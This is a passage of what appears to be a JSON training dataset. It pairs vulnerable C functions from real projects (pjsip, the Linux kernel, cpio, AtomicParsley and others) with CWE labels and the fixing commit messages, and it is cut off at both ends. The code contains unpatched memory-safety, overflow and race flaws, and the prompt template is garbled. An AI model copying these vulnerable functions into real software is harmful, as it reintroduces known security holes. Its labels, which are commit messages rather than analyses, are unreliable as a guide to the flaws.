last;\n\t }\n\t}\n }\n getNext()->write(this->outbuf, bytes);\n this->offset = 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'Fix some pipelines to be safe if downstream write fails (fuzz issue 28262)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: decodeJsonStructure(void *dst, const UA_DataType *type, CtxJson *ctx, \n ParseCtx *parseCtx, UA_Boolean moveToken) {\n (void) moveToken;\n /* Check the recursion limit */\n if(ctx->depth > UA_JSON_ENCODING_MAX_RECURSION)\n return UA_STATUSCODE_BADENCODINGERROR;\n ctx->depth++;\n\n uintptr_t ptr = (uintptr_t)dst;\n status ret = UA_STATUSCODE_GOOD;\n u8 membersSize = type->membersSize;\n const UA_DataType *typelists[2] = { UA_TYPES, &type[-type->typeIndex] };\n \n UA_STACKARRAY(DecodeEntry, entries, membersSize);\n\n for(size_t i = 0; i < membersSize && ret == UA_STATUSCODE_GOOD; ++i) {\n const UA_DataTypeMember *m = &type->members[i];\n const UA_DataType *mt = &typelists[!m->namespaceZero][m->memberTypeIndex];\n\n entries[i].type = mt;\n if(!m->isArray) {\n ptr += m->padding;\n entries[i].fieldName = m->memberName;\n entries[i].fieldPointer = (void*)ptr;\n entries[i].function = decodeJsonJumpTable[mt->typeKind];\n entries[i].found = false;\n ptr += mt->memSize;\n } else {\n ptr += m->padding;\n ptr += sizeof(size_t);\n entries[i].fieldName = m->memberName;\n entries[i].fieldPointer = (void*)ptr;\n entries[i].function = (decodeJsonSignature)Array_decodeJson;\n entries[i].found = false;\n ptr += sizeof(void*);\n }\n }\n \n ret = decodeFields(ctx, parseCtx, entries, membersSize, type);\n\n ctx->depth--;\n return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-703', 'CWE-787'], 'message': 'fix(json): Check max recursion depth in more places'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int oidc_cache_crypto_decrypt_impl(request_rec *r,\n\t\tunsigned char *ciphertext, int ciphertext_len, const unsigned char *aad,\n\t\tint aad_len, const unsigned char *tag, int tag_len, unsigned char *key,\n\t\tconst unsigned char *iv, int iv_len, unsigned char *plaintext) {\n\tEVP_CIPHER_CTX *ctx;\n\tint len;\n\tint plaintext_len;\n\tint ret;\n\n\t/* create and initialize the context */\n\tif (!(ctx = EVP_CIPHER_CTX_new())) {\n\t\toidc_cache_crypto_openssl_error(r, \"EVP_CIPHER_CTX_new\");\n\t\treturn -1;\n\t}\n\n\t/* initialize the decryption cipher */\n\tif (!EVP_DecryptInit_ex(ctx, OIDC_CACHE_CIPHER, NULL, NULL, NULL)) {\n\t\toidc_cache_crypto_openssl_error(r, \"EVP_DecryptInit_ex\");\n\t\treturn -1;\n\t}\n\n\t/* set IV length */\n\tif (!EVP_CIPHER_CTX_ctrl(ctx, OIDC_CACHE_CRYPTO_SET_IVLEN, iv_len, NULL)) {\n\t\toidc_cache_crypto_openssl_error(r, \"EVP_CIPHER_CTX_ctrl\");\n\t\treturn -1;\n\t}\n\n\t/* initialize key and IV */\n\tif (!EVP_DecryptInit_ex(ctx, NULL, NULL, key, iv)) {\n\t\toidc_cache_crypto_openssl_error(r, \"EVP_DecryptInit_ex\");\n\t\treturn -1;\n\t}\n\n\t/* provide AAD data */\n\tif (!EVP_DecryptUpdate(ctx, NULL, &len, aad, aad_len)) {\n\t\toidc_cache_crypto_openssl_error(r, \"EVP_DecryptUpdate aad: aad_len=%d\",\n\t\t\t\taad_len);\n\t\treturn -1;\n\t}\n\n\t/* provide the message to be decrypted and obtain the plaintext output */\n\tif (!EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len)) {\n\t\toidc_cache_crypto_openssl_error(r, \"EVP_DecryptUpdate ciphertext\");\n\t\treturn -1;\n\t}\n\tplaintext_len = len;\n\n\t/* set expected tag value; works in OpenSSL 1.0.1d and later */\n\tif (!EVP_CIPHER_CTX_ctrl(ctx, OIDC_CACHE_CRYPTO_SET_TAG, tag_len,\n\t\t\t(void *) tag)) {\n\t\toidc_cache_crypto_openssl_error(r, \"EVP_CIPHER_CTX_ctrl\");\n\t\treturn -1;\n\t}\n\n\t/*\n\t * finalize the decryption; a positive return value indicates success,\n\t * anything else is a failure - the plaintext is not trustworthy\n\t */\n\tret = EVP_DecryptFinal_ex(ctx, plaintext + len, &len);\n\n\t/* clean up */\n\tEVP_CIPHER_CTX_free(ctx);\n\n\tif (ret > 0) {\n\t\t/* success */\n\t\tplaintext_len += len;\n\t\treturn plaintext_len;\n\t} else {\n\t\t/* verify failed */\n\t\toidc_cache_crypto_openssl_error(r, \"EVP_DecryptFinal_ex\");\n\t\treturn -1;\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-330'], 'message': 'use encrypted JWTs for storing encrypted cache contents\n\n- avoid using static AAD/IV; thanks @niebardzo\n- bump to 2.4.9-dev\n\nSigned-off-by: Hans Zandbelt '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static pj_bool_t on_accept_complete2(pj_ssl_sock_t *ssock,\n\t\t\t\t pj_ssl_sock_t *new_ssock,\n\t\t\t\t const pj_sockaddr_t *src_addr,\n\t\t\t\t int src_addr_len, \n\t\t\t\t pj_status_t accept_status)\n{ \n struct tls_listener *listener;\n struct tls_transport *tls;\n pj_ssl_sock_info ssl_info;\n char addr[PJ_INET6_ADDRSTRLEN+10];\n pjsip_tp_state_callback state_cb;\n pj_sockaddr tmp_src_addr;\n pj_bool_t is_shutdown;\n pj_status_t status;\n char addr_buf[PJ_INET6_ADDRSTRLEN+10]; \n\n PJ_UNUSED_ARG(src_addr_len);\n\n listener = (struct tls_listener*) pj_ssl_sock_get_user_data(ssock);\n\n if (accept_status != PJ_SUCCESS) {\n\tif (listener && listener->tls_setting.on_accept_fail_cb) {\n\t pjsip_tls_on_accept_fail_param param;\n\t pj_ssl_sock_info ssi;\n\n\t pj_bzero(¶m, sizeof(param));\n\t param.status = accept_status;\n\t param.local_addr = &listener->factory.local_addr;\n\t param.remote_addr = src_addr;\n\t if (new_ssock &&\n\t\tpj_ssl_sock_get_info(new_ssock, &ssi) == PJ_SUCCESS)\n\t {\n\t\tparam.last_native_err = ssi.last_native_err;\n\t }\n\n\t (*listener->tls_setting.on_accept_fail_cb) (¶m);\n\t}\n\n\treturn PJ_FALSE;\n }\n\n PJ_ASSERT_RETURN(new_ssock, PJ_TRUE);\n\n if (!listener->is_registered) {\n\tif (listener->tls_setting.on_accept_fail_cb) {\n\t pjsip_tls_on_accept_fail_param param;\n\t pj_bzero(¶m, sizeof(param));\n\t param.status = PJSIP_TLS_EACCEPT;\n\t param.local_addr = &listener->factory.local_addr;\n\t param.remote_addr = src_addr;\n\t (*listener->tls_setting.on_accept_fail_cb) (¶m);\n\t}\n\treturn PJ_FALSE;\n }\t\n\n PJ_LOG(4,(listener->factory.obj_name, \n\t \"TLS listener %s: got incoming TLS connection \"\n\t \"from %s, sock=%d\",\n\t pj_addr_str_print(&listener->factory.addr_name.host, \n\t\t\t\tlistener->factory.addr_name.port, addr_buf, \n\t\t\t\tsizeof(addr_buf), 1),\n\t pj_sockaddr_print(src_addr, addr, sizeof(addr), 3),\n\t new_ssock));\n\n /* Retrieve SSL socket info, close the socket if this is failed\n * as the SSL socket info availability is rather critical here.\n */\n status = pj_ssl_sock_get_info(new_ssock, &ssl_info);\n if (status != PJ_SUCCESS) {\n\tpj_ssl_sock_close(new_ssock);\n\n\tif (listener->tls_setting.on_accept_fail_cb) {\n\t pjsip_tls_on_accept_fail_param param;\n\t pj_bzero(¶m, sizeof(param));\n\t param.status = status;\n\t param.local_addr = &listener->factory.local_addr;\n\t param.remote_addr = src_addr;\n\t (*listener->tls_setting.on_accept_fail_cb) (¶m);\n\t}\n\treturn PJ_TRUE;\n }\n\n /* Copy to larger buffer, just in case */\n pj_bzero(&tmp_src_addr, sizeof(tmp_src_addr));\n pj_sockaddr_cp(&tmp_src_addr, src_addr);\n\n /* \n * Incoming connection!\n * Create TLS transport for the new socket.\n */\n status = tls_create( listener, NULL, new_ssock, PJ_TRUE,\n\t\t\t &ssl_info.local_addr, &tmp_src_addr, NULL,\n\t\t\t ssl_info.grp_lock, &tls);\n \n if (status != PJ_SUCCESS) {\n\tif (listener->tls_setting.on_accept_fail_cb) {\n\t pjsip_tls_on_accept_fail_param param;\n\t pj_bzero(¶m, sizeof(param));\n\t param.status = status;\n\t param.local_addr = &listener->factory.local_addr;\n\t param.remote_addr = src_addr;\n\t (*listener->tls_setting.on_accept_fail_cb) (¶m);\n\t}\n\treturn PJ_TRUE;\n }\n\n /* Set the \"pending\" SSL socket user data */\n pj_ssl_sock_set_user_data(new_ssock, tls);\n\n /* Prevent immediate transport destroy as application may access it \n * (getting info, etc) in transport state notification callback.\n */\n pjsip_transport_add_ref(&tls->base);\n\n /* If there is verification error and verification is mandatory, shutdown\n * and destroy the transport.\n */\n if (ssl_info.verify_status && listener->tls_setting.verify_client) {\n\tif (tls->close_reason == PJ_SUCCESS) \n\t tls->close_reason = PJSIP_TLS_ECERTVERIF;\n\tpjsip_transport_shutdown(&tls->base);\n }\n /* Notify transport state to application */\n state_cb = pjsip_tpmgr_get_state_cb(tls->base.tpmgr);\n if (state_cb) {\n\tpjsip_transport_state_info state_info;\n\tpjsip_tls_state_info tls_info;\n\tpjsip_transport_state tp_state;\n\n\t/* Init transport state info */\n\tpj_bzero(&tls_info, sizeof(tls_info));\n\tpj_bzero(&state_info, sizeof(state_info));\n\ttls_info.ssl_sock_info = &ssl_info;\n\tstate_info.ext_info = &tls_info;\n\n\t/* Set transport state based on verification status */\n\tif (ssl_info.verify_status && listener->tls_setting.verify_client)\n\t{\n\t tp_state = PJSIP_TP_STATE_DISCONNECTED;\n\t state_info.status = PJSIP_TLS_ECERTVERIF;\n\t} else {\n\t tp_state = PJSIP_TP_STATE_CONNECTED;\n\t state_info.status = PJ_SUCCESS;\n\t}\n\n\t(*state_cb)(&tls->base, tp_state, &state_info);\n }\n\n /* Release transport reference. If transport is shutting down, it may\n * get destroyed here.\n */\n is_shutdown = tls->base.is_shutdown;\n pjsip_transport_dec_ref(&tls->base);\n if (is_shutdown)\n\treturn PJ_TRUE;\n\n\n status = tls_start_read(tls);\n if (status != PJ_SUCCESS) {\n\tPJ_LOG(3,(tls->base.obj_name, \"New transport cancelled\"));\n\ttls_init_shutdown(tls, status);\n\ttls_destroy(&tls->base, status);\n } else {\n\t/* Start keep-alive timer */\n\tif (pjsip_cfg()->tls.keep_alive_interval) {\n\t pj_time_val delay = {0};\t \n\t delay.sec = pjsip_cfg()->tls.keep_alive_interval;\n\t pjsip_endpt_schedule_timer(listener->endpt, \n\t\t\t\t &tls->ka_timer, \n\t\t\t\t &delay);\n\t tls->ka_timer.id = PJ_TRUE;\n\t pj_gettimeofday(&tls->last_activity);\n\t}\n }\n\n return PJ_TRUE;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-362', 'CWE-703'], 'message': 'Merge pull request from GHSA-cv8x-p47p-99wr\n\n* - Avoid SSL socket parent/listener getting destroyed during handshake by increasing parent's reference count.\n- Add missing SSL socket close when the newly accepted SSL socket is discarded in SIP TLS transport.\n\n* - Fix silly mistake: accepted active socket created without group lock in SSL socket.\n- Replace assertion with normal validation check of SSL socket instance in OpenSSL verification callback (verify_cb()) to avoid crash, e.g: if somehow race condition with SSL socket destroy happens or OpenSSL application data index somehow gets corrupted.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static bool rb_per_cpu_empty(struct ring_buffer_per_cpu *cpu_buffer)\n{\n\tstruct buffer_page *reader = cpu_buffer->reader_page;\n\tstruct buffer_page *head = rb_set_head_page(cpu_buffer);\n\tstruct buffer_page *commit = cpu_buffer->commit_page;\n\n\t/* In case of error, head will be NULL */\n\tif (unlikely(!head))\n\t\treturn true;\n\n\treturn reader->read == rb_page_commit(reader) &&\n\t\t(commit == reader ||\n\t\t (commit == head &&\n\t\t head->read == rb_page_commit(commit)));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-835'], 'message': 'tracing: Fix bug in rb_per_cpu_empty() that might cause deadloop.\n\nThe \"rb_per_cpu_empty()\" misinterpret the condition (as not-empty) when\n\"head_page\" and \"commit_page\" of \"struct ring_buffer_per_cpu\" points to\nthe same buffer page, whose \"buffer_data_page\" is empty and \"read\" field\nis non-zero.\n\nAn error scenario could be constructed as followed (kernel perspective):\n\n1. All pages in the buffer has been accessed by reader(s) so that all of\nthem will have non-zero \"read\" field.\n\n2. Read and clear all buffer pages so that \"rb_num_of_entries()\" will\nreturn 0 rendering there's no more data to read. It is also required\nthat the \"read_page\", \"commit_page\" and \"tail_page\" points to the same\npage, while \"head_page\" is the next page of them.\n\n3. Invoke \"ring_buffer_lock_reserve()\" with large enough \"length\"\nso that it shot pass the end of current tail buffer page. Now the\n\"head_page\", \"commit_page\" and \"tail_page\" points to the same page.\n\n4. Discard current event with \"ring_buffer_discard_commit()\", so that\n\"head_page\", \"commit_page\" and \"tail_page\" points to a page whose buffer\ndata page is now empty.\n\nWhen the error scenario has been constructed, \"tracing_read_pipe\" will\nbe trapped inside a deadloop: \"trace_empty()\" returns 0 since\n\"rb_per_cpu_empty()\" returns 0 when it hits the CPU containing such\nconstructed ring buffer. Then \"trace_find_next_entry_inc()\" always\nreturn NULL since \"rb_num_of_entries()\" reports there's no more entry\nto read. Finally \"trace_seq_to_user()\" returns \"-EBUSY\" spanking\n\"tracing_read_pipe\" back to the start of the \"waitagain\" loop.\n\nI've also written a proof-of-concept script to construct the scenario\nand trigger the bug automatically, you can use it to trace and validate\nmy reasoning above:\n\n https://github.com/aegistudio/RingBufferDetonator.git\n\nTests has been carried out on linux kernel 5.14-rc2\n(2734d6c1b1a089fb593ef6a23d4b70903526fe0c), my fixed version\nof kernel (for testing whether my update fixes the bug) and\nsome older kernels (for range of affected kernels). Test result is\nalso attached to the proof-of-concept repository.\n\nLink: https://lore.kernel.org/linux-trace-devel/YPaNxsIlb2yjSi5Y@aegistudio/\nLink: https://lore.kernel.org/linux-trace-devel/YPgrN85WL9VyrZ55@aegistudio\n\nCc: stable@vger.kernel.org\nFixes: bf41a158cacba (\"ring-buffer: make reentrant\")\nSuggested-by: Linus Torvalds \nSigned-off-by: Haoran Luo \nSigned-off-by: Steven Rostedt (VMware) '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void APar_ExtractDetails(FILE *isofile, uint8_t optional_output) {\n char uint32_buffer[5];\n Trackage track = {0};\n\n AtomicInfo *mvhdAtom = APar_FindAtom(\"moov.mvhd\", false, VERSIONED_ATOM, 0);\n if (mvhdAtom != NULL) {\n APar_ExtractMovieDetails(uint32_buffer, isofile, mvhdAtom);\n fprintf(stdout,\n \"Movie duration: %.3lf seconds (%s) - %.2lf* kbp/sec bitrate \"\n \"(*=approximate)\\n\",\n movie_info.seconds,\n secsTOtime(movie_info.seconds),\n movie_info.simple_bitrate_calc);\n if (optional_output & SHOW_DATE_INFO) {\n fprintf(stdout,\n \" Presentation Creation Date (UTC): %s\\n\",\n APar_extract_UTC(movie_info.creation_time));\n fprintf(stdout,\n \" Presentation Modification Date (UTC): %s\\n\",\n APar_extract_UTC(movie_info.modified_time));\n }\n }\n\n AtomicInfo *iodsAtom = APar_FindAtom(\"moov.iods\", false, VERSIONED_ATOM, 0);\n if (iodsAtom != NULL) {\n movie_info.contains_iods = true;\n APar_Extract_iods_Info(isofile, iodsAtom);\n }\n\n if (optional_output & SHOW_TRACK_INFO) {\n APar_TrackLevelInfo(&track,\n NULL); // With track_num set to 0, it will return the\n // total trak atom into total_tracks here.\n\n fprintf(\n stdout, \"Low-level details. Total tracks: %u\\n\", track.total_tracks);\n fprintf(stdout,\n \"Trk Type Handler Kind Lang Bytes\\n\");\n\n if (track.total_tracks > 0) {\n while (track.total_tracks > track.track_num) {\n track.track_num += 1;\n TrackInfo track_info = {0};\n\n // tracknum, handler type, handler name\n APar_ExtractTrackDetails(uint32_buffer, isofile, &track, &track_info);\n uint16_t more_whitespace =\n purge_extraneous_characters(track_info.track_hdlr_name);\n\n if (strlen(track_info.track_hdlr_name) == 0) {\n memcpy(track_info.track_hdlr_name, \"[none listed]\", 13);\n }\n fprintf(stdout,\n \"%u %s %s\",\n track.track_num,\n uint32tochar4(track_info.track_type, uint32_buffer),\n track_info.track_hdlr_name);\n\n uint16_t handler_len = strlen(track_info.track_hdlr_name);\n if (handler_len < 25 + more_whitespace) {\n for (uint16_t i = handler_len; i < 25 + more_whitespace; i++) {\n fprintf(stdout, \" \");\n }\n }\n\n // codec, language\n fprintf(stdout,\n \" %s %s %\" PRIu64,\n uint32tochar4(track_info.track_codec, uint32_buffer),\n track_info.unpacked_lang,\n track_info.sample_aggregate);\n\n if (track_info.encoder_name[0] != 0 && track_info.contains_esds) {\n purge_extraneous_characters(track_info.encoder_name);\n fprintf(stdout, \" Encoder: %s\", track_info.encoder_name);\n }\n if (track_info.type_of_track & DRM_PROTECTED_TRACK) {\n fprintf(stdout,\n \" (protected %s)\",\n uint32tochar4(track_info.protected_codec, uint32_buffer));\n }\n\n fprintf(stdout, \"\\n\");\n /*---------------------------------*/\n\n if (track_info.type_of_track & VIDEO_TRACK ||\n track_info.type_of_track & AUDIO_TRACK) {\n APar_Print_TrackDetails(&track_info);\n }\n\n if (optional_output & SHOW_DATE_INFO) {\n fprintf(stdout,\n \" Creation Date (UTC): %s\\n\",\n APar_extract_UTC(track_info.creation_time));\n fprintf(stdout,\n \" Modification Date (UTC): %s\\n\",\n APar_extract_UTC(track_info.modified_time));\n }\n }\n }\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'Avoid stack overflow\n\nrefs: https://github.com/wez/atomicparsley/issues/32'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: process_copy_in ()\n{\n FILE *tty_in = NULL;\t\t/* Interactive file for rename option. */\n FILE *tty_out = NULL;\t\t/* Interactive file for rename option. */\n FILE *rename_in = NULL;\t/* Batch file for rename option. */\n struct stat file_stat;\t/* Output file stat record. */\n struct cpio_file_stat file_hdr = CPIO_FILE_STAT_INITIALIZER;\n /* Output header information. */\n int in_file_des;\t\t/* Input file descriptor. */\n char skip_file;\t\t/* Flag for use with patterns. */\n int i;\t\t\t/* Loop index variable. */\n\n newdir_umask = umask (0); /* Reset umask to preserve modes of\n\t\t\t\t created files */\n \n /* Initialize the copy in. */\n if (pattern_file_name)\n {\n read_pattern_file ();\n }\n \n if (rename_batch_file)\n {\n rename_in = fopen (rename_batch_file, \"r\");\n if (rename_in == NULL)\n\t{\n\t error (PAXEXIT_FAILURE, errno, TTY_NAME);\n\t}\n }\n else if (rename_flag)\n {\n /* Open interactive file pair for rename operation. */\n tty_in = fopen (TTY_NAME, \"r\");\n if (tty_in == NULL)\n\t{\n\t error (PAXEXIT_FAILURE, errno, TTY_NAME);\n\t}\n tty_out = fopen (TTY_NAME, \"w\");\n if (tty_out == NULL)\n\t{\n\t error (PAXEXIT_FAILURE, errno, TTY_NAME);\n\t}\n }\n\n /* Get date and time if needed for processing the table option. */\n if (table_flag && verbose_flag)\n {\n time (¤t_time);\n }\n\n /* Check whether the input file might be a tape. */\n in_file_des = archive_des;\n if (_isrmt (in_file_des))\n {\n input_is_special = 1;\n input_is_seekable = 0;\n }\n else\n {\n if (fstat (in_file_des, &file_stat))\n\terror (PAXEXIT_FAILURE, errno, _(\"standard input is closed\"));\n input_is_special =\n#ifdef S_ISBLK\n\tS_ISBLK (file_stat.st_mode) ||\n#endif\n\tS_ISCHR (file_stat.st_mode);\n input_is_seekable = S_ISREG (file_stat.st_mode);\n }\n output_is_seekable = true;\n\n change_dir ();\n \n /* While there is more input in the collection, process the input. */\n while (1)\n {\n swapping_halfwords = swapping_bytes = false;\n\n /* Start processing the next file by reading the header. */\n read_in_header (&file_hdr, in_file_des);\n\n#ifdef DEBUG_CPIO\n if (debug_flag)\n\t{\n\t struct cpio_file_stat *h;\n\t h = &file_hdr;\n\t fprintf (stderr, \n\t\t\"magic = 0%o, ino = %ld, mode = 0%o, uid = %d, gid = %d\\n\",\n\t\th->c_magic, (long)h->c_ino, h->c_mode, h->c_uid, h->c_gid);\n\t fprintf (stderr, \n\t\t\"nlink = %d, mtime = %d, filesize = %d, dev_maj = 0x%x\\n\",\n\t\th->c_nlink, h->c_mtime, h->c_filesize, h->c_dev_maj);\n\t fprintf (stderr, \n\t \"dev_min = 0x%x, rdev_maj = 0x%x, rdev_min = 0x%x, namesize = %d\\n\",\n\t\th->c_dev_min, h->c_rdev_maj, h->c_rdev_min, h->c_namesize);\n\t fprintf (stderr, \n\t\t\"chksum = %d, name = \\\"%s\\\", tar_linkname = \\\"%s\\\"\\n\",\n\t\th->c_chksum, h->c_name, \n\t\th->c_tar_linkname ? h->c_tar_linkname : \"(null)\" );\n\n\t}\n#endif\n if (file_hdr.c_namesize == 0)\n\tskip_file = true;\n else\n\t{\n\t /* Is this the header for the TRAILER file? */\n\t if (strcmp (CPIO_TRAILER_NAME, file_hdr.c_name) == 0)\n\t break;\n\n\t cpio_safer_name_suffix (file_hdr.c_name, false, !no_abs_paths_flag,\n\t\t\t\t false);\n \n\t /* Does the file name match one of the given patterns? */\n\t if (num_patterns <= 0)\n\t skip_file = false;\n\t else\n\t {\n\t skip_file = copy_matching_files;\n\t for (i = 0; i < num_patterns\n\t\t && skip_file == copy_matching_files; i++)\n\t\t{\n\t\t if (fnmatch (save_patterns[i], file_hdr.c_name, 0) == 0)\n\t\t skip_file = !copy_matching_files;\n\t\t}\n\t }\n\t}\n \n if (skip_file)\n\t{\n\t /* If we're skipping a file with links, there might be other\n\t links that we didn't skip, and this file might have the\n\t data for the links. If it does, we'll copy in the data\n\t to the links, but not to this file. */\n\t if (file_hdr.c_nlink > 1 && (archive_format == arf_newascii\n\t || archive_format == arf_crcascii) )\n\t {\n\t if (create_defered_links_to_skipped(&file_hdr, in_file_des) < 0)\n\t {\n\t\t tape_toss_input (in_file_des, file_hdr.c_filesize);\n\t\t tape_skip_padding (in_file_des, file_hdr.c_filesize);\n\t\t}\n\t }\n\t else\n\t {\n\t tape_toss_input (in_file_des, file_hdr.c_filesize);\n\t tape_skip_padding (in_file_des, file_hdr.c_filesize);\n\t }\n\t}\n else if (table_flag)\n\t{\n\t list_file (&file_hdr, in_file_des);\n\t}\n else if (append_flag)\n\t{\n\t tape_toss_input (in_file_des, file_hdr.c_filesize);\n\t tape_skip_padding (in_file_des, file_hdr.c_filesize);\n\t}\n else if (only_verify_crc_flag)\n\t{\n#ifdef CP_IFLNK\n\t if ((file_hdr.c_mode & CP_IFMT) == CP_IFLNK)\n\t {\n\t if (archive_format != arf_tar && archive_format != arf_ustar)\n\t\t{\n\t\t tape_toss_input (in_file_des, file_hdr.c_filesize);\n\t\t tape_skip_padding (in_file_des, file_hdr.c_filesize);\n\t\t continue;\n\t\t}\n\t }\n#endif\n\t crc = 0;\n\t tape_toss_input (in_file_des, file_hdr.c_filesize);\n\t tape_skip_padding (in_file_des, file_hdr.c_filesize);\n\t if (crc != file_hdr.c_chksum)\n\t {\n\t\terror (0, 0, _(\"%s: checksum error (0x%x, should be 0x%x)\"),\n\t\t file_hdr.c_name, crc, file_hdr.c_chksum);\n\t }\n /* Debian hack: -v and -V now work with --only-verify-crc.\n (99/11/10) -BEM */\n\t if (verbose_flag)\n\t {\n\t\tfprintf (stderr, \"%s\\n\", file_hdr.c_name);\n\t }\n\t if (dot_flag)\n\t {\n\t\tfputc ('.', stderr);\n\t }\n\t}\n else\n\t{\n\t /* Copy the input file into the directory structure. */\n\n\t /* Do we need to rename the file? */\n\t if (rename_flag || rename_batch_file)\n\t {\n\t if (query_rename(&file_hdr, tty_in, tty_out, rename_in) < 0)\n\t {\n\t\t tape_toss_input (in_file_des, file_hdr.c_filesize);\n\t\t tape_skip_padding (in_file_des, file_hdr.c_filesize);\n\t\t continue;\n\t\t}\n\t }\n\n\t copyin_file(&file_hdr, in_file_des);\n\n\t if (verbose_flag)\n\t fprintf (stderr, \"%s\\n\", file_hdr.c_name);\n\t if (dot_flag)\n\t fputc ('.', stderr);\n\t}\n }\n\n if (dot_flag)\n fputc ('\\n', stderr);\n\n apply_delayed_set_stat ();\n\n cpio_file_stat_free (&file_hdr);\n \n if (append_flag)\n return;\n\n if (archive_format == arf_newascii || archive_format == arf_crcascii)\n {\n create_final_defers ();\n }\n if (!quiet_flag)\n {\n size_t blocks;\n blocks = (input_bytes + io_block_size - 1) / io_block_size;\n fprintf (stderr,\n\t ngettext (\"%lu block\\n\", \"%lu blocks\\n\",\n\t\t\t (unsigned long) blocks),\n\t (unsigned long) blocks);\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'Rewrite dynamic string support.\n\n* src/dstring.c (ds_init): Take a single argument.\n(ds_free): New function.\n(ds_resize): Take a single argument. Use x2nrealloc to expand\nthe storage.\n(ds_reset,ds_append,ds_concat,ds_endswith): New function.\n(ds_fgetstr): Rewrite. In particular, this fixes integer overflow.\n* src/dstring.h (dynamic_string): Keep both the allocated length\n(ds_size) and index of the next free byte in the string (ds_idx).\n(ds_init,ds_resize): Change signature.\n(ds_len): New macro.\n(ds_free,ds_reset,ds_append,ds_concat,ds_endswith): New protos.\n* src/copyin.c: Use new ds_ functions.\n* src/copyout.c: Likewise.\n* src/copypass.c: Likewise.\n* src/util.c: Likewise.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void check_system_chunk(struct btrfs_trans_handle *trans, u64 type)\n{\n\tstruct btrfs_transaction *cur_trans = trans->transaction;\n\tstruct btrfs_fs_info *fs_info = trans->fs_info;\n\tstruct btrfs_space_info *info;\n\tu64 left;\n\tu64 thresh;\n\tint ret = 0;\n\tu64 num_devs;\n\n\t/*\n\t * Needed because we can end up allocating a system chunk and for an\n\t * atomic and race free space reservation in the chunk block reserve.\n\t */\n\tlockdep_assert_held(&fs_info->chunk_mutex);\n\n\tinfo = btrfs_find_space_info(fs_info, BTRFS_BLOCK_GROUP_SYSTEM);\nagain:\n\tspin_lock(&info->lock);\n\tleft = info->total_bytes - btrfs_space_info_used(info, true);\n\tspin_unlock(&info->lock);\n\n\tnum_devs = get_profile_num_devs(fs_info, type);\n\n\t/* num_devs device items to update and 1 chunk item to add or remove */\n\tthresh = btrfs_calc_metadata_size(fs_info, num_devs) +\n\t\tbtrfs_calc_insert_metadata_size(fs_info, 1);\n\n\tif (left < thresh && btrfs_test_opt(fs_info, ENOSPC_DEBUG)) {\n\t\tbtrfs_info(fs_info, \"left=%llu, need=%llu, flags=%llu\",\n\t\t\t left, thresh, type);\n\t\tbtrfs_dump_space_info(fs_info, info, 0, 0);\n\t}\n\n\tif (left < thresh) {\n\t\tu64 flags = btrfs_system_alloc_profile(fs_info);\n\t\tu64 reserved = atomic64_read(&cur_trans->chunk_bytes_reserved);\n\n\t\t/*\n\t\t * If there's not available space for the chunk tree (system\n\t\t * space) and there are other tasks that reserved space for\n\t\t * creating a new system block group, wait for them to complete\n\t\t * the creation of their system block group and release excess\n\t\t * reserved space. We do this because:\n\t\t *\n\t\t * *) We can end up allocating more system chunks than necessary\n\t\t * when there are multiple tasks that are concurrently\n\t\t * allocating block groups, which can lead to exhaustion of\n\t\t * the system array in the superblock;\n\t\t *\n\t\t * *) If we allocate extra and unnecessary system block groups,\n\t\t * despite being empty for a long time, and possibly forever,\n\t\t * they end not being added to the list of unused block groups\n\t\t * because that typically happens only when deallocating the\n\t\t * last extent from a block group - which never happens since\n\t\t * we never allocate from them in the first place. The few\n\t\t * exceptions are when mounting a filesystem or running scrub,\n\t\t * which add unused block groups to the list of unused block\n\t\t * groups, to be deleted by the cleaner kthread.\n\t\t * And even when they are added to the list of unused block\n\t\t * groups, it can take a long time until they get deleted,\n\t\t * since the cleaner kthread might be sleeping or busy with\n\t\t * other work (deleting subvolumes, running delayed iputs,\n\t\t * defrag scheduling, etc);\n\t\t *\n\t\t * This is rare in practice, but can happen when too many tasks\n\t\t * are allocating blocks groups in parallel (via fallocate())\n\t\t * and before the one that reserved space for a new system block\n\t\t * group finishes the block group creation and releases the space\n\t\t * reserved in excess (at btrfs_create_pending_block_groups()),\n\t\t * other tasks end up here and see free system space temporarily\n\t\t * not enough for updating the chunk tree.\n\t\t *\n\t\t * We unlock the chunk mutex before waiting for such tasks and\n\t\t * lock it again after the wait, otherwise we 